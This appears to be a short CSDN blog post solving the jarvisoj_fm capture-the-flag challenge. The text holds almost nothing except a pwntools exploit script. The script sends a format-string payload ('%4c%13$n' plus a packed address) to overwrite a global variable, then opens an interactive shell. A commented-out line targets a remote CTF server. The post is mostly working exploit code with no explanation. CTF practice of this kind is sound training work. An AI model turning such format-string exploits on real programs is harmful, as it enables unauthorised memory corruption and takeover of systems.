jarvisoj_fm[FmtStr]

最新推荐文章于 2024-07-10 19:51:01 发布

、moddemod

最新推荐文章于 2024-07-10 19:51:01 发布

阅读量278

点赞数

分类专栏： pwn 文章标签： jarvisoj_fm

本文链接：https://blog.csdn.net/weixin_43833642/article/details/106974492

版权

pwn 专栏收录该内容

66 篇文章 1 订阅

订阅专栏

在这里插入图片描述
exp

from pwn import *

context.log_level = 'debug'
                                                                                                         
def debug_pause():
    log.info(proc.pidof(p))
    pause()

proc_name = './fm'
p = process(proc_name)
# p = remote('node3.buuoj.cn', 26659)
x_addr = 0x804a02c
payload = flat(['%4c%13$n', p32(x_addr)])
# payload = b'a' * 4 + b'-%x' * 20
p.send(payload)
p.interactive()